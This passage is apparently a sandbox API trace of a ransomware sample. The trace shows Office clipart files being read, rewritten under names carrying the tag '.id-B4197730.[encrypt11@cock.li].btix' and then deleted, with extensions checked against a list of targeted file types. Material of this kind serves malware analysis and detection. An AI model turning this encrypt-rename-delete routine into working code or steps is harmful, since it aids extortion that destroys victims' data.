(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.597] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3016) returned 1 [0130.597] CloseHandle (hObject=0x430) returned 1 [0130.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0130.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.598] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.598] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.599] GetLastError () returned 0x0 [0130.599] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0130.693] WriteFile (in: hFile=0x41c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0130.694] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.694] WriteFile (in: hFile=0x41c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.694] SetEndOfFile (hFile=0x41c) returned 1 [0130.694] CloseHandle (hObject=0x41c) returned 1 [0130.694] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.694] SetEndOfFile (hFile=0x430) returned 1 [0130.696] CloseHandle (hObject=0x430) returned 1 [0130.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0130.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.697] lstrlenW (lpString=".doc") returned 4 [0130.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.697] lstrlenW (lpString=".docx") returned 5 [0130.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.697] lstrlenW (lpString=".pdf") returned 4 [0130.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.697] lstrlenW (lpString=".xls") returned 4 [0130.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.697] lstrlenW (lpString=".xlsx") returned 5 [0130.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.697] lstrlenW (lpString=".ppt") returned 4 [0130.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.698] lstrlenW (lpString=".zip") returned 4 [0130.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.698] lstrlenW (lpString=".rar") returned 4 [0130.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.698] lstrlenW (lpString=".bz2") returned 4 [0130.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.698] lstrlenW (lpString=".7z") returned 3 [0130.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.698] lstrlenW (lpString=".dbf") returned 4 [0130.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.698] lstrlenW (lpString=".1cd") returned 4 [0130.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.698] lstrlenW (lpString=".jpg") returned 4 [0130.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.698] lstrlenW (lpString=".doc") returned 4 [0130.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.698] lstrlenW (lpString=".docx") returned 5 [0130.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.698] lstrlenW (lpString=".pdf") returned 4 [0130.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.698] lstrlenW (lpString=".xls") returned 4 [0130.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.698] lstrlenW (lpString=".xlsx") returned 5 [0130.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.698] lstrlenW (lpString=".ppt") returned 4 [0130.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.698] lstrlenW (lpString=".zip") returned 4 [0130.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.699] lstrlenW (lpString=".rar") returned 4 [0130.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.699] lstrlenW (lpString=".bz2") returned 4 [0130.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.699] lstrlenW (lpString=".7z") returned 3 [0130.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.699] lstrlenW (lpString=".dbf") returned 4 [0130.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.699] lstrlenW (lpString=".1cd") returned 4 [0130.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0130.699] lstrlenW (lpString=".jpg") returned 4 [0130.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.699] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.699] lstrlenW (lpString="HH00334_.WMF") returned 12 [0130.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.700] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1528) returned 1 [0130.700] CloseHandle (hObject=0x430) returned 1 [0130.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0130.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.700] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.700] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.701] GetLastError () returned 0x0 [0130.701] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x5f8, lpOverlapped=0x0) returned 1 [0130.763] WriteFile (in: hFile=0x41c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x600, lpOverlapped=0x0) returned 1 [0130.764] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.764] WriteFile (in: hFile=0x41c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.764] SetEndOfFile (hFile=0x41c) returned 1 [0130.764] CloseHandle (hObject=0x41c) returned 1 [0130.764] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.764] SetEndOfFile (hFile=0x430) returned 1 [0130.836] CloseHandle (hObject=0x430) returned 1 [0130.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0130.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.839] lstrlenW (lpString=".doc") returned 4 [0130.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.839] lstrlenW (lpString=".docx") returned 5 [0130.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.839] lstrlenW (lpString=".pdf") returned 4 [0130.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.839] lstrlenW (lpString=".xls") returned 4 [0130.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.839] lstrlenW (lpString=".xlsx") returned 5 [0130.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.839] lstrlenW (lpString=".ppt") returned 4 [0130.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.839] lstrlenW (lpString=".zip") returned 4 [0130.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.840] lstrlenW (lpString=".rar") returned 4 [0130.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.840] lstrlenW (lpString=".bz2") returned 4 [0130.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.840] lstrlenW (lpString=".7z") returned 3 [0130.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.840] lstrlenW (lpString=".dbf") returned 4 [0130.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.840] lstrlenW (lpString=".1cd") returned 4 [0130.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.840] lstrlenW (lpString=".jpg") returned 4 [0130.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.840] lstrlenW (lpString=".doc") returned 4 [0130.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.840] lstrlenW (lpString=".docx") returned 5 [0130.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.840] lstrlenW (lpString=".pdf") returned 4 [0130.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.840] lstrlenW (lpString=".xls") returned 4 [0130.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.840] lstrlenW (lpString=".xlsx") returned 5 [0130.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.840] lstrlenW (lpString=".ppt") returned 4 [0130.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.840] lstrlenW (lpString=".zip") returned 4 [0130.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.840] lstrlenW (lpString=".rar") returned 4 [0130.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.840] lstrlenW (lpString=".bz2") returned 4 [0130.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.841] lstrlenW (lpString=".7z") returned 3 [0130.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.841] lstrlenW (lpString=".dbf") returned 4 [0130.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.841] lstrlenW (lpString=".1cd") returned 4 [0130.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0130.841] lstrlenW (lpString=".jpg") returned 4 [0130.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.841] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.841] lstrlenW (lpString="HH00524_.WMF") returned 12 [0130.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.842] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=14688) returned 1 [0130.842] CloseHandle (hObject=0x430) returned 1 [0130.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0130.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.842] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.842] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.843] GetLastError () returned 0x0 [0130.843] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x3960, lpOverlapped=0x0) returned 1 [0130.853] WriteFile (in: hFile=0x42c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x3970, lpOverlapped=0x0) returned 1 [0130.854] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.854] WriteFile (in: hFile=0x42c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.854] SetEndOfFile (hFile=0x42c) returned 1 [0130.854] CloseHandle (hObject=0x42c) returned 1 [0130.854] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.854] SetEndOfFile (hFile=0x430) returned 1 [0130.857] CloseHandle (hObject=0x430) returned 1 [0130.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0130.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.857] lstrlenW (lpString=".doc") returned 4 [0130.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.858] lstrlenW (lpString=".docx") returned 5 [0130.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.858] lstrlenW (lpString=".pdf") returned 4 [0130.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.858] lstrlenW (lpString=".xls") returned 4 [0130.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.858] lstrlenW (lpString=".xlsx") returned 5 [0130.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.858] lstrlenW (lpString=".ppt") returned 4 [0130.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.858] lstrlenW (lpString=".zip") returned 4 [0130.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.858] lstrlenW (lpString=".rar") returned 4 [0130.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.858] lstrlenW (lpString=".bz2") returned 4 [0130.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.858] lstrlenW (lpString=".7z") returned 3 [0130.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.858] lstrlenW (lpString=".dbf") returned 4 [0130.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.858] lstrlenW (lpString=".1cd") returned 4 [0130.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.858] lstrlenW (lpString=".jpg") returned 4 [0130.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.858] lstrlenW (lpString=".doc") returned 4 [0130.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.858] lstrlenW (lpString=".docx") returned 5 [0130.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.858] lstrlenW (lpString=".pdf") returned 4 [0130.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.859] lstrlenW (lpString=".xls") returned 4 [0130.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.859] lstrlenW (lpString=".xlsx") returned 5 [0130.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.859] lstrlenW (lpString=".ppt") returned 4 [0130.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.859] lstrlenW (lpString=".zip") returned 4 [0130.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.859] lstrlenW (lpString=".rar") returned 4 [0130.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.859] lstrlenW (lpString=".bz2") returned 4 [0130.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.859] lstrlenW (lpString=".7z") returned 3 [0130.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.859] lstrlenW (lpString=".dbf") returned 4 [0130.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.859] lstrlenW (lpString=".1cd") returned 4 [0130.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0130.859] lstrlenW (lpString=".jpg") returned 4 [0130.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.859] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.859] lstrlenW (lpString="HH00526_.WMF") returned 12 [0130.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.864] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=13538) returned 1 [0130.864] CloseHandle (hObject=0x430) returned 1 [0130.864] GetFileAttributesW (lpFileName="C:\\Program 